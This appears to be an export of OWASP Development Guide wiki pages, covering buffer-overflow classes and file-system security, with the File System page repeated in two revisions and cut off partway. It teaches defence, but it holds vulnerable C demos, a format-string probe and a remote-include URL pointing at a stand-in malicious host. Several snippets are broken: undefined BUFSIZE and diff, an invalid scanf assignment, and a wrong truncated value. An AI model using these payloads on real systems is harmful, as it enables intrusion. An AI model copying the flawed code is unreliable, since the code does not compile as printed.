==Stack Overflow ==

Stack overflows are the best understood and the most common form of buffer overflows. The basics of a stack overflow is simple:

* There are two buffers, a source buffer containing arbitrary input (presumably from the attacker), and a destination buffer that is too small for the attack input. The second buffer resides on the stack and somewhat adjacent to the function return address on the stack.

* The faulty code does ''not'' check that the source buffer is too large to fit in the destination buffer. It copies the attack input to the destination buffer, overwriting additional information on the stack (such as the function return address).

* When the function returns, the CPU unwinds the stack frame and pops the (now modified) return address from the stack.

* Control does not return to the function as it should. Instead, arbitrary code (chosen by the attacker when crafting the initial input) is executed.

The following example, written in C, demonstrates a stack overflow exploit.

<pre>
#include <string.h>

void f(char* s) {
char buffer[10];
strcpy(buffer, s);
}

void main(void) {
f("01234567890123456789");
}

[root /tmp]# ./stacktest

Segmentation fault
</pre>

===How to determine if you are vulnerable ===

If your program:

* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND

* copies data from one buffer on the stack to another without checking sizes first AND

* does not use techniques such as canary values or non-executable stacks to prevent buffer overflows THEN

it is likely that the application is vulnerable to attack.

===How to protect yourself ===
# Deploy on systems capable of using non-executable stacks, such as:
## AMD and Intel x86-64 chips with associated 64-bit operating systems
## Windows XP SP2 (both 32- and 64-bit)
## Windows 2003 SP1 (both 32- and 64-bit)
## Linux after 2.6.8 on AMD and x86-64 processors in 32- and 64-bit mode
## OpenBSD (w^x on Intel, AMD, SPARC, Alpha and PowerPC)
## Solaris 2.6 and later with the “noexec_user_stack” flag enabled
# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Heap Overflow ==

Heap overflows are problematic in that they are not necessarily protected by CPUs capable of using non-executable stacks. A heap is an area of memory allocated by the application at run-time to store data. The following example, written in C, shows a heap overflow exploit.

<pre>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BSIZE 16
#define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */

void main(void) {
u_long b_diff;
char *buf0 = (char*)malloc(BSIZE); // create two buffers
char *buf1 = (char*)malloc(BSIZE);

b_diff = (u_long)buf1 - (u_long)buf0; // difference between locations
printf("Initial values: ");
printf("buf0=%p, buf1=%p, b_diff=0x%x bytes\n", buf0, buf1, b_diff);

memset(buf1, 'A', BUFSIZE-1), buf1[BUFSIZE-1] = '\0';
printf("Before overflow: buf1=%s\n", buf1);

memset(buf0, 'B', (u_int)(diff + OVERSIZE));
printf("After overflow: buf1=%s\n", buf1);
}

[root /tmp]# ./heaptest

Initial values: buf0=0x9322008, buf1=0x9322020, diff=0xff0 bytes
Before overflow: buf1=AAAAAAAAAAAAAAA
After overflow: buf1=BBBBBBBBAAAAAAA
</pre>

The simple program above shows two buffers being allocated on the heap, with the first buffer being overflowed to overwrite the contents of the second buffer.

===How to determine if you are vulnerable ===

If your program:

* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND

* copies data from one buffer on the stack to another without checking sizes first AND

* does not use techniques such as canary values to prevent buffer overflows THEN

it is likely that the application is vulnerable to attack.

===How to protect yourself ===

# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Format String ==

Format string buffer overflows (usually called "format string vulnerabilities") are highly specialized buffer overflows that can have the same effects as other buffer overflow attacks. Basically, format string vulnerabilities take advantage of the mixture of data and control information in certain functions, such as C/C++'s printf. The easiest way to understand this class of vulnerability is with an example:

<pre>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

void main(void) {
char str[100] = scanf("%s");
printf("%s", str);
}
</pre>

This simple program takes input from the user and displays it back on the screen. The string <code>%s</code> means that the other parameter, str, should be displayed as a string. This example is ''not'' vulnerable to a format string attack, but if one changes the last line, it becomes exploitable:

printf(str);

To see how, consider the user entering the special input:

''%08x.%08x.%08x.%08x.%08x''

By constructing input as such, the program can be exploited to print the first five entries from the stack.

===How to determine if you are vulnerable ===

If your program:

* uses functions such as printf, snprintf directly, or indirectly through system services (such as syslog) or other AND

* the use of such functions allows input from the user to contain control information interpreted by the function itself

it is highly likely that the application is vulnerable to attack.

===How to protect yourself ===

# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc. Specifically check for control information (meta-characters like '%')
# Avoid the use of functions like printf that allow user input to contain control information
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Unicode Overflow ==

Unicode exploits are a bit more difficult to do than typical buffer overflows as demonstrated in Anley’s 2002 paper, but it is wrong to assume that by using Unicode, you are protected against buffer overflows. Examples of Unicode overflows include Code Red, a devastating Trojan with an estimated economic cost in the billions of dollars.

===How to determine if you are vulnerable ===

If your program:

* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND

* takes Unicode input from a user AND

* fails to sanitize the input AND

* does not use techniques such as canary values to prevent buffer overflows THEN

it is highly likely that the application is vulnerable to attack.

===How to protect yourself ===

# Deploy on systems capable of using non-executable stacks, such as:
## AMD and Intel x86-64 chips with associated 64-bit operating systems
## Windows XP SP2 (both 32- and 64-bit)
## Windows 2003 SP1 (both 32- and 64-bit)
## Linux after 2.6.8 on AMD and x86-64 processors in 32- and 64-bit mode
## OpenBSD (w^x on Intel, AMD, SPARC, Alpha and PowerPC)
## Solaris 2.6 and later with the “noexec_user_stack” flag enabled
# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Integer Overflow ==

When an application takes two numbers of fixed word size and perform an operation with them, the result may not fit within the same word size. For example, if the two 8-bit numbers 192 and 208 are added together and stored into another 8-bit byte, the result will not fit into an 8-bit result:

'' 1100 0000''

'' + 1101 0000''

'' = 0001 1001 0000''

Although such an operation will usually cause some type of exception, your application must be coded to check for such an exception and take proper action. Otherwise, your application would report that 192 + 208 equals 144.

The following code demonstrates a buffer overflow, and was adapted from [http://www.phrack.org/phrack/60/p60-0x0a.txt Blexim's Phrack article]:

<pre>
#include <stdio.h>
#include <string.h>

void main(int argc, char *argv[]) {
int i = atoi(argv[1]); // input from user
unsigned short s = i; // truncate to a short
char buf[50]; // large buffer

if (s > 10) { // check we're not greater than 10
return;
}

memcpy(buf, argv[2], i); // copy i bytes to the buffer
buf[i] = '\0'; // add a null byte to the buffer
printf("%s\n", buf); // output the buffer contents

return;
}

[root /tmp]# ./inttest 65580 foobar
Segmentation fault
</pre>

The above code is exploitable because the validation does not occur on the input value (65580), but rather the value after it has been converted to an unsigned short (45).

Integer overflows can be a problem in any language and can be exploited when integers are used in array indices and implicit short math operations.

===How to determine if you are vulnerable ===

* Examine use of signed integers, bytes, and shorts.

* Are there cases where these values are used as array indices after performing an arithmetic operation (+, -, *, /, or % (modulo))?

* How would your program react to a negative or zero value for integer values, particular during array lookups?

===How to protect yourself ===

* If using .NET, use David LeBlanc’s SafeInt class or a similar construct. Otherwise, use a "BigInteger" or "BigDecimal" implementation in cases where it would be hard to validate input yourself.

* If your compiler supports the option, change the default for integers to be unsigned unless otherwise explicitly stated. Use unsigned integers whenever you don't need negative values.

* Use range checking if your language or framework supports it, or be sure to implement range checking yourself after all arithmetic operations.

* Be sure to check for exceptions if your language supports it.

==Further reading ==

* Team Teso, ''Exploiting Format String Vulnerabilities''

http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html [[category:FIXME | link not working]]

* Newsham, Tim, ''Format String Attacks

''http://www.lava.net/~newsham/format-string-attacks.pdf [[category:FIXME | link not working]]

* w00 w00 and Matt Conover, ''Preliminary Heap Overflow Tutorial''

http://www.w00w00.org/files/articles/heaptut.txt

* Chris Anley, ''Creating Arbitrary Shellcode In Unicode Expanded Strings''

http://www.ngssoftware.com/papers/unicodebo.pdf

* David Leblanc, ''Integer Handling with the C++ SafeInt Class ''

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncode/html/secure01142004.asp

* Aleph One, ''Smashing the Stack for fun and profit''

http://www.phrack.org/phrack/49/P49-14 [[category:FIXME | link not working]]

* Mark Donaldson, ''Inside the buffer Overflow Attack: Mechanism, method, & prevention''

http://rr.sans.org/code/inside_buffer.php [[category:FIXME | link not working]]

* ''NX Bit'', Wikipedia article

http://en.wikipedia.org/wiki/NX_bit

* Horizon'', How to bypass Solaris no execute stack protection

''http://www.secinf.net/unix_security/How_to_bypass_Solaris_nonexecutable_stack_protection_.html

* Alexander Anisimov'', Defeating Microsoft Windows XP SP2 Heap protection and DEP bypass'', Positive Technologies

http://www.maxpatrol.com/defeating-xpsp2-heap-protection.htm

* Matt Conover, w00w00 on Heap Overflows, w00w00 Security Team

http://www.w00w00.org/files/articles/heaptut.txt

* Blexim, ''Basic Integer Overflows

''http://www.phrack.org/phrack/60/p60-0x0a.txt [[category:FIXME | link not working]]

* StackShield

http://www.angelfire.com/sk/stackshield/index.html

* StackGuard

http://www.immunix.org[[category:FIXME | link not working]]

* Libsafe

http://www.research.avayalabs.com/project/libsafe [[category:FIXME | link not working]]

[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]

File System

2009-05-02T11:34:52Z

KirstenS: /* File upload */

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__

==Objective ==

To ensure that access to the local file system of any of the systems is protected from unauthorized creation, modification, or deletion.

==Environments Affected ==

All.

==Relevant COBIT Topics ==

DS11 – Manage Data – All sections should be reviewed

DS11.9 – Data processing integrity

DS11.20 – Continued integrity of stored data

==Description ==

The file system is a fertile ground for average attackers and script kiddies alike. Attacks can be devastating for the average site, and they are often some of the easiest attacks to perform.

==Best Practices ==

* Use “chroot” jails on Unix platforms

* Use minimal file system permissions on all platforms

* Consider the use of read-only file systems (such as CD-ROM or locked USB key) if practical

==Defacement ==

Defacement is one of the most common attacks against web sites. An attacker uses a tool or technique to upload hostile content over the top of existing files or via configuration mistakes, new files. Defacement can be acutely embarrassing, resulting in reputation loss and loss of trust with users.

There are many defacement archives on the Internet, and most defacements occur due to poor patching of vulnerable web servers, but the next most common form of defacement occurs due to web application vulnerabilities.

===How to identify if you are vulnerable ===

* Is your system up to date?

* Does the file system allow writing via the web user to the web content (including directories?)

* Does the application write files with user supplied file names?

* Does the application use file system calls or executes system commands (such as exec() or xp_cmdshell()?

* Would any of execution or file system calls allow the execution of additional, unauthorized commands? See the OS Injection section for more details.

===How to protect yourself ===

* Ensure or recommend that the underlying operating system and web application environment are kept up to date

* Ensure the application files and resources are read-only

* Ensure the application does not take user supplied file names when saving or working on local files

* Ensure the application properly checks all user supplied input to prevent additional commands cannot be run

==Path traversal ==

All but the most simple web applications have to include local resources, such as images, themes, other scripts, and so on. Every time a resource or file is included by the application, there is a risk that an attacker may be able to include a file or remote resource you didn’t authorize.

===How to identify if you are vulnerable ===

* Inspect code containing file open, include, file create, file delete, and so on

* Determine if it contains unsanitized user input.

* If so, the application is likely to be at risk.

===How to protect yourself ===

* Prefer working without user input when using file system calls

* Use indexes rather than actual portions of file names when templating or using language files (ie value 5 from the user submission = Czechoslovakian, rather than expecting the user to return “Czechoslovakian”)

* Ensure the user cannot supply all parts of the path – surround it with your path code

* Validate the user’s input by only accepting known good – do not sanitize the data

* Use chrooted jails and code access policies to restrict where the files can be obtained or saved to

See the OWASP article on [[Path Traversal]] for a description of the attack.

==Insecure permissions ==

Many developers take short cuts to get their applications to work, and often many system administrators do not fully understand the risks of permissive file system ACLs

===How to identify if you are vulnerable ===

* Can other local users on the system read, modify, or delete files used by the web application?

If so, it is highly likely that the application is vulnerable to local and remote attack.

===How to protect yourself ===

* Use the tighest possible permissions when developing and deploying web applications

* Many web applications can be deployed on read-only media, such as CD-ROMs

* Consider using chroot jails and code access security policies to restrict and control the location and type of file operations even if the system is misconfigured

* Remove all “Everyone:Full Control” ACLs on Windows, and all mode 777 (world writeable directories) or mode 666 files (world writeable files) on Unix systems

* Strongly consider removing “Guest”, “everyone,” and world readable permissions wherever possible

==Insecure Indexing ==

A very popular tool is the Google desktop search engine and Spotlight on the Macintosh. These wonderful tools allow users to easily find anything on their hard drives. This same wonderful technology allows remote attackers to determine exactly what you have hidden away deep in your application’s guts.

===How to determine if you are vulnerable ===

* Use Google and a range of other search engines to find something on your web site, such as a meta tag or a hidden file

* If a file is found, your application is at risk.

===How to protect yourself ===

* Use robots.txt – this will prevent most search engines looking any further than what you have in mind

* Tightly control the activities of any search engine you run for your site, such as the IIS Search Engine, Sharepoint, Google appliance, and so on.

* If you don’t need an searchable index to your web site, disable any search functionality which may be enabled.

==Unmapped files ==

Web application frameworks will interpret only their own files to the user, and render all other content as HTML or as plain text. This may disclose secrets and configuration which an attacker may be able to use to successfully attack the application.

===How to identify if you are vulnerable ===

Upload a file that is not normally visible, such as a configuration file such as config.xml or similar, and request it using a web browser. If the file’s contents are rendered or exposed, then the application is at risk.

===How to protect yourself ===

* Remove or move all files that do not belong in the web root.

* Rename include files to be normal extension (such as foo.inc ? foo.jsp or foo.aspx).

* Map all files that need to remain, such as .xml or .cfg to an error handler or a renderer that will not disclose the file contents. This may need to be done in both the web application framework’s configuration area or the web server’s configuration.

==Temporary files ==

Applications occasionally need to write results or reports to disk. Temporary files, if exposed to unauthorized users, may expose private and confidential information, or allow an attacker to become an authorized user depending on the level of vulnerability.

===How to identify if you are vulnerable ===

Determine if your application uses temporary files. If it does, check the following:

* Are the files within the web root? If so, can they be retrieved using just a browser? If so, can the files be retrieved without being logged on?

* Are old files exposed? Is there a garbage collector or other mechanism deleting old files?

* Does retrieval of the files expose the application’s workings, or expose private data?

The level of vulnerability is derived from the asset classification assigned to the data.

===How to protect yourself ===

Temporary file usage is not always important to protect from unauthorized access. For medium to high-risk usage, particularly if the files expose the inner workings of your application or exposes private user data, the following controls should be considered:

* The temporary file routines could be re-written to generate the content on the fly rather than storing on the file system.

* Ensure that all resources are not retrievable by unauthenticated users, and that users are authorized to retrieve only their own files.

* Use a “garbage collector” to delete old temporary files, either at the end of a session or within a timeout period, such as 20 minutes.

* If deployed under Unix-like operating systems, use chroot jails to isolate the application from the primary operating system. On Windows, use the inbuilt ACL support to prevent the IIS users from retrieving or overwriting the files directly.

* Move the files to outside the web root to prevent browser-only attacks.

* Use random file names to decrease the likelihood of a brute force pharming attack.

==PHP ==

==Includes and Remote files ==

The PHP functions include() and require() provide an easy way of including and evaluating files. When a file is included, the code it contains inherits the variable scope of the line on which the include statement was executed. All variables available at that line will be available within the included file. And the other way around, variables defined in the included file will be available to the calling page within the current scope. The included file does not have to be a file on the local computer. If the allow_url_fopen directive is enabled in php.ini you can specify the file to be included using an URL.

PHP will get it via HTTP instead of a local pathname. While this is a nice feature it can also be a big security risk.

'''Note: The allow_url_fopen directive is enabled by default. '''

A common mistake is not considering that every file can be called directly, that is a file written to be included is called directly by a malicious user. An example:

<pre>
// file.php

$sIncludePath = '/inc/';

include($sIncludePath . 'functions.php');

...

// functions.php

include($sIncludePath . 'datetime.php');

include($sIncludePath . 'filesystem.php');
</pre>

In the above example, functions.php is not meant to be called directly, so it assumes the calling page sets $sIncludePath. By creating a file called datetime.php or filesystem.php on another server (and turning off PHP processing on that server) we could call functions.php like the following:

<pre>
functions.php?sIncludePath=http://www.malicioushost.com/
</pre>

PHP would nicely download datetime.php from the other server and execute it, which means a malicious user could execute code of his/her choice in functions.php. I would recommend against includes within includes (as the example above). In my opinion, it makes it harder to understand and get an overview of the code. Right now, we want to make the above code safe and to do that we make sure that functions.php really is called from file.php. The code below shows one solution:

<pre>

// file.php

define('SECURITY_CHECK', true);

$sIncludePath = '/inc/';

include($sIncludePath . 'functions.php');

...

// functions.php

if ( !defined('SECURITY_CHECK') ) {

// Output error message and exit.

...

}

include($sIncludePath . 'datetime.php');

include($sIncludePath . 'filesystem.php');

</pre>

The function define() defines a constant. Constants are not prefixed by a dollar sign ($) and thus we cannot break this by something like: functions.php?SECURITY_CHECK=1. Although not so common these days, you can still come across PHP files with the .inc extension. These files are only meant to be included by other files. What is often overlooked is that these files, if called directly, do not go through the PHP preprocessor, and thus are sent in clear text. We should be consistent and stick with one extension that we know is processed by PHP. The .php extension is recommended.

==File upload ==

PHP is a feature rich language and one of its built in features is automatic handling of file uploads. When a file is uploaded to a PHP page, it is automatically saved to a temporary directory. New global variables describing the uploaded file will be available within the page. Consider the following HTML code presenting a user with an upload form:

<pre>

<form action= “page.php “ method= “POST “ enctype= “multipart/form-data “> <input type= “file “ name= “testfile “ />

<input type= “submit “ value= “Upload file “ />

</form>

</pre>

After submitting the above form, new variables will be available to page.php based on the “testfile” name.

<pre>

// Variables set by PHP and what they will contain:

// A temporary path/filename generated by PHP. This is where the file is

// saved until we move it or it is removed by PHP if we choose not to do anything with it.

$testfile

// The original name/path of the file on the client's system.

$testfile_name

// The size of the uploaded file in bytes.

$testfile_size

// The mime type of the file if the browser provided this information. For example: “image/jpeg”.

$testfile_type

</pre>

A common approach is to check if $testfile is set and if it is, start working on it right away, maybe copying it to a public directory, accessible from any browser. You probably already guessed it; this is a very insecure way of working with uploaded files. The $testfile variable does not have to be a path/file to an uploaded file. It could come from GET, POST, and COOKIE etc. A malicious user could make us work on any file on the server, which is not very pleasant. We should not assume anything about the register_globals directive, it could be on or off for all we care, our code should work with or without it and most importantly it will be just as secure regardless of configuration settings. So the first thing we should do is to use the $_FILES array:

<pre>
// The temporary filename generated by PHP

$_FILES['testfile']['tmp_name']

// The original name/path of the file on the client's system. $_FILES['testfile']['name']

// The mime type of the file if the browser provided this information.

// For example: “image/jpeg “.

$_FILES['testfile']['type']

// The size of the uploaded file in bytes.

$_FILES['testfile']['size']

</pre>

The built in functions is_uploaded_file() and/or move_uploaded_file() should be called with $_FILES['testfile']['tmp_name'] to make sure that the file really was uploaded by HTTP POST. The following example shows a straightforward way of working with uploaded files:

<pre>

if ( is_uploaded_file($_FILES['testfile']['tmp_name']) ) {

// Check if the file size is what we expect (optional)

if ( $_FILES['sImageData']['size'] > 102400 ) {

// The size can not be over 100kB, output error message and exit. ...

}

// Validate the file name and extension based on the original name in $_FILES['testfile']['name'],

// we do not want anyone to be able to upload .php files for example. ...

// Everything is okay so far, move the file with move_uploaded_file

...

}

</pre>

Note: We should always check if a variable in the superglobals arrays is set with isset() before accessing it. I choose not to do that in the above examples because I wanted to keep them as simple as possible.

==Old, unreferenced files ==

It is common for system administrators and developers to use editors and other tools which create temporary old files. If the file extensions or access control permissions change, an attacker may be able to read source or configuration data.

===How to identify if you are vulnerable ===

Check the file system for:

* Temporary files (such as core, ~foo, blah.tmp, and so on) created by editors or crashed programs

* Folders called “backup” “old” or “Copy of …”

* Files with additional extensions, such as foo.php.old

* Temporary folders with intermediate results or cache templates

===How to protect yourself ===

* Use source code control to prevent the need to keep old copies of files around

* Periodically ensure that all files in the web root are actually required

* Ensure that the application’s temporary files are not accessible from the web root

==Second Order Injection ==

If the web application creates a file that is operated on by another process, typically a batch or scheduled process, the second process may be vulnerable to attack. It is a rare application that ensures input to background processes is validated prior to first use.

===How to identify if you are vulnerable ===

* Does the application use background / batch / scheduled processes to work on user supplied data?

* Does this program validate the user input prior to operating on it?

* Does this program communicate with other business significant processes or otherwise approve transactions?

===How to protect yourself ===

* Ensure that all behind the scenes programs check user input prior to operating on it

* Run the application with the least privilege – in particular, the batch application should not require write privileges to any front end files, the network, or similar

* Use inbuilt language or operating system features to curtail the resources and features which the background application may use. For example, batch programs rarely if ever require network access.

* Consider the use of host based intrusion detection systems and anti-virus systems to detect unauthorized file creation.

==Further Reading ==

* Klein, A., ''Insecure Indexing''

http://www.webappsec.org/projects/articles/022805-clean.html

* MySQL world readable log files

http://www.securityfocus.com/advisories/3803

* Oracle 8i and 9i Servlet allows remote file viewing

http://online.securityfocus.com/advisories/3964

==File System ==

Even with an authentication system in place to protect your content, if file permissions are set incorrectly an attacker could browse directly to your application source code or protected documents. The section below gives guidance in setting file system permissions and directories to reduce your risk of exposure.

'''Best Practice'''

'''File Permissions'''

Restrict access of the \CFIDE directory to specific IP address and user group/account.

Remove the \cfdocs directory. Sample applications are installed by default in the cfdocs directory and are accessible to anyone. These applications should never be available on a production server.

Ensure that directory browsing is disabled.

Ensure that proper access controls are set on web application content. The following settings assume a user account called “cfuser” has been created to run the ColdFusion service. In addition, if you are using a directory or operating system authentication service these setting may need to be adjusted.

File types: Scripts (.cfm, .cfml, .cfc, .jsp, and others)

'''ACLs: cfuser (Execute); Administrators (Full)'''

File types: Static content (.txt, .gif, .jpg, .html, .xml)

'''ACLs: cfuser (Read); Administrators (Full)'''

'''File Upload'''

Upload files to a destination outside of the web application directory.

Enable virus scan on the destination directory.

Do not allow user input to specify the destination directory or file name of uploaded documents.

==Reference==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:File System]]

File System

2009-05-02T11:33:18Z

KirstenS: /* Includes and Remote files */

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__

==Objective ==

To ensure that access to the local file system of any of the systems is protected from unauthorized creation, modification, or deletion.

==Environments Affected ==

All.

==Relevant COBIT Topics ==

DS11 – Manage Data – All sections should be reviewed

DS11.9 – Data processing integrity

DS11.20 – Continued integrity of stored data

==Description ==

The file system is a fertile ground for average attackers and script kiddies alike. Attacks can be devastating for the average site, and they are often some of the easiest attacks to perform.

==Best Practices ==

* Use “chroot” jails on Unix platforms

* Use minimal file system permissions on all platforms

* Consider the use of read-only file systems (such as CD-ROM or locked USB key) if practical

==Defacement ==

Defacement is one of the most common attacks against web sites. An attacker uses a tool or technique to upload hostile content over the top of existing files or via configuration mistakes, new files. Defacement can be acutely embarrassing, resulting in reputation loss and loss of trust with users.

There are many defacement archives on the Internet, and most defacements occur due to poor patching of vulnerable web servers, but the next most common form of defacement occurs due to web application vulnerabilities.

===How to identify if you are vulnerable ===

* Is your system up to date?

* Does the file system allow writing via the web user to the web content (including directories?)

* Does the application write files with user supplied file names?

* Does the application use file system calls or executes system commands (such as exec() or xp_cmdshell()?

* Would any of execution or file system calls allow the execution of additional, unauthorized commands? See the OS Injection section for more details.

===How to protect yourself ===

* Ensure or recommend that the underlying operating system and web application environment are kept up to date

* Ensure the application files and resources are read-only

* Ensure the application does not take user supplied file names when saving or working on local files

* Ensure the application properly checks all user supplied input to prevent additional commands cannot be run

==Path traversal ==

All but the most simple web applications have to include local resources, such as images, themes, other scripts, and so on. Every time a resource or file is included by the application, there is a risk that an attacker may be able to include a file or remote resource you didn’t authorize.

===How to identify if you are vulnerable ===

* Inspect code containing file open, include, file create, file delete, and so on

* Determine if it contains unsanitized user input.

* If so, the application is likely to be at risk.

===How to protect yourself ===

* Prefer working without user input when using file system calls

* Use indexes rather than actual portions of file names when templating or using language files (ie value 5 from the user submission = Czechoslovakian, rather than expecting the user to return “Czechoslovakian”)

* Ensure the user cannot supply all parts of the path – surround it with your path code

* Validate the user’s input by only accepting known good – do not sanitize the data

* Use chrooted jails and code access policies to restrict where the files can be obtained or saved to

See the OWASP article on [[Path Traversal]] for a description of the attack.

==Insecure permissions ==

Many developers take short cuts to get their applications to work, and often many system administrators do not fully understand the risks of permissive file system ACLs

===How to identify if you are vulnerable ===

* Can other local users on the system read, modify, or delete files used by the web application?

If so, it is highly likely that the application is vulnerable to local and remote attack.

===How to protect yourself ===

* Use the tighest possible permissions when developing and deploying web applications

* Many web applications can be deployed on read-only media, such as CD-ROMs

* Consider using chroot jails and code access security policies to restrict and control the location and type of file operations even if the system is misconfigured

* Remove all “Everyone:Full Control” ACLs on Windows, and all mode 777 (world writeable directories) or mode 666 files (world writeable files) on Unix systems

* Strongly consider removing “Guest”, “everyone,” and world readable permissions wherever possible

==Insecure Indexing ==

A very popular tool is the Google desktop search engine and Spotlight on the Macintosh. These wonderful tools allow users to easily find anything on their hard drives. This same wonderful technology allows remote attackers to determine exactly what you have hidden away deep in your application’s guts.

===How to determine if you are vulnerable ===

* Use Google and a range of other search engines to find something on your web site, such as a meta tag or a hidden file

* If a file is found, your application is at risk.

===How to protect yourself ===

* Use robots.txt – this will prevent most search engines looking any further than what you have in mind

* Tightly control the activities of any search engine you run for your site, such as the IIS Search Engine, Sharepoint, Google appliance, and so on.

* If you don’t need an searchable index to your web site, disable any search functionality which may be enabled.

==Unmapped files ==

Web application frameworks will interpret only their own files to the user, and render all other content as HTML or as plain text. This may disclose secrets and configuration which an attacker may be able to use to successfully attack the application.

===How to identify if you are vulnerable ===

Upload a file that is not normally visible, such as a configuration file such as config.xml or similar, and request it using a web browser. If the file’s contents are rendered or exposed, then the application is at risk.

===How to protect yourself ===

* Remove or move all files that do not belong in the web root.

* Rename include files to be normal extension (such as foo.inc ? foo.jsp or foo.aspx).

* Map all files that need to remain, such as .xml or .cfg to an error handler or a renderer that will not disclose the file contents. This may need to be done in both the web application framework’s configuration area or the web server’s configuration.

==Temporary files ==

Applications occasionally need to write results or reports to disk. Temporary files, if exposed to unauthorized users, may expose private and confidential information, or allow an attacker to become an authorized user depending on the level of vulnerability.

===How to identify if you are vulnerable ===

Determine if your application uses temporary files. If it does, check the following:

* Are the files within the web root? If so, can they be retrieved using just a browser? If so, can the files be retrieved without being logged on?

* Are old files exposed? Is there a garbage collector or other mechanism deleting old files?

* Does retrieval of the files expose the application’s workings, or expose private data?

The level of vulnerability is derived from the asset classification assigned to the data.

===How to protect yourself ===

Temporary file usage is not always important to protect from unauthorized access. For medium to high-risk usage, particularly if the files expose the inner workings of your application or exposes private user data, the following controls should be considered:

* The temporary file routines could be re-written to generate the content on the fly rather than storing on the file system.

* Ensure that all resources are not retrievable by unauthenticated users, and that users are authorized to retrieve only their own files.

* Use a “garbage collector” to delete old temporary files, either at the end of a session or within a timeout period, such as 20 minutes.

* If deployed under Unix-like operating systems, use chroot jails to isolate the application from the primary operating system. On Windows, use the inbuilt ACL support to prevent the IIS users from retrieving or overwriting the files directly.

* Move the files to outside the web root to prevent browser-only attacks.

* Use random file names to decrease the likelihood of a brute force pharming attack.

==PHP ==

==Includes and Remote files ==

The PHP functions include() and require() provide an easy way of including and evaluating files. When a file is included, the code it contains inherits the variable scope of the line on which the include statement was executed. All variables available at that line will be available within the included file. And the other way around, variables defined in the included file will be available to the calling page within the current scope. The included file does not have to be a file on the local computer. If the allow_url_fopen directive is enabled in php.ini you can specify the file to be included using an URL.

PHP will get it via HTTP instead of a local pathname. While this is a nice feature it can also be a big security risk.

'''Note: The allow_url_fopen directive is enabled by default. '''

A common mistake is not considering that every file can be called directly, that is a file written to be included is called directly by a malicious user. An example:

<pre>
// file.php

$sIncludePath = '/inc/';

include($sIncludePath . 'functions.php');

...

// functions.php

include($sIncludePath . 'datetime.php');

include($sIncludePath . 'filesystem.php');
</pre>

In the above example, functions.php is not meant to be called directly, so it assumes the calling page sets $sIncludePath. By creating a file called datetime.php or filesystem.php on another server (and turning off PHP processing on that server) we could call functions.php like the following:

<pre>
functions.php?sIncludePath=http://www.malicioushost.com/
</pre>

PHP would nicely download datetime.php from the other server and execute it, which means a malicious user could execute code of his/her choice in functions.php. I would recommend against includes within includes (as the example above). In my opinion, it makes it harder to understand and get an overview of the code. Right now, we want to make the above code safe and to do that we make sure that functions.php really is called from file.php. The code below shows one solution:

<pre>

// file.php

define('SECURITY_CHECK', true);

$sIncludePath = '/inc/';

include($sIncludePath . 'functions.php');

...

// functions.php

if ( !defined('SECURITY_CHECK') ) {

// Output error message and exit.

...

}

include($sIncludePath . 'datetime.php');

include($sIncludePath . 'filesystem.php');

</pre>

The function define() defines a constant. Constants are not prefixed by a dollar sign ($) and thus we cannot break this by something like: functions.php?SECURITY_CHECK=1. Although not so common these days, you can still come across PHP files with the .inc extension. These files are only meant to be included by other files. What is often overlooked is that these files, if called directly, do not go through the PHP preprocessor, and thus are sent in clear text. We should be consistent and stick with one extension that we know is processed by PHP. The .php extension is recommended.

==File upload ==

PHP is a feature rich language and one of it is built in features is automatic handling of file uploads. When a file is uploaded to a PHP page, it is automatically saved to a temporary directory. New global variables describing the uploaded file will be available within the page. Consider the following HTML code presenting a user with an upload form:

<pre>

<form action= “page.php “ method= “POST “ enctype= “multipart/form-data “> <input type= “file “ name= “testfile “ />

<input type= “submit “ value= “Upload file “ />

</form>

</pre>

After submitting the above form, new variables will be available to page.php based on the “testfile” name.

<pre>

// Variables set by PHP and what they will contain:

// A temporary path/filename generated by PHP. This is where the file is

// saved until we move it or it is removed by PHP if we choose not to do anything with it.

$testfile

// The original name/path of the file on the client's system.

$testfile_name

// The size of the uploaded file in bytes.

$testfile_size

// The mime type of the file if the browser provided this information. For example: “image/jpeg”.

$testfile_type

</pre>

A common approach is to check if $testfile is set and if it is, start working on it right away, maybe copying it to a public directory, accessible from any browser. You probably already guessed it; this is a very insecure way of working with uploaded files. The $testfile variable does not have to be a path/file to an uploaded file. It could come from GET, POST, and COOKIE etc. A malicious user could make us work on any file on the server, which is not very pleasant. We should not assume anything about the register_globals directive, it could be on or off for all we care, our code should work with or without it and most importantly it will be just as secure regardless of configuration settings. So the first thing we should do is to use the $_FILES array:

<pre>
// The temporary filename generated by PHP

$_FILES['testfile']['tmp_name']

// The original name/path of the file on the client's system. $_FILES['testfile']['name']

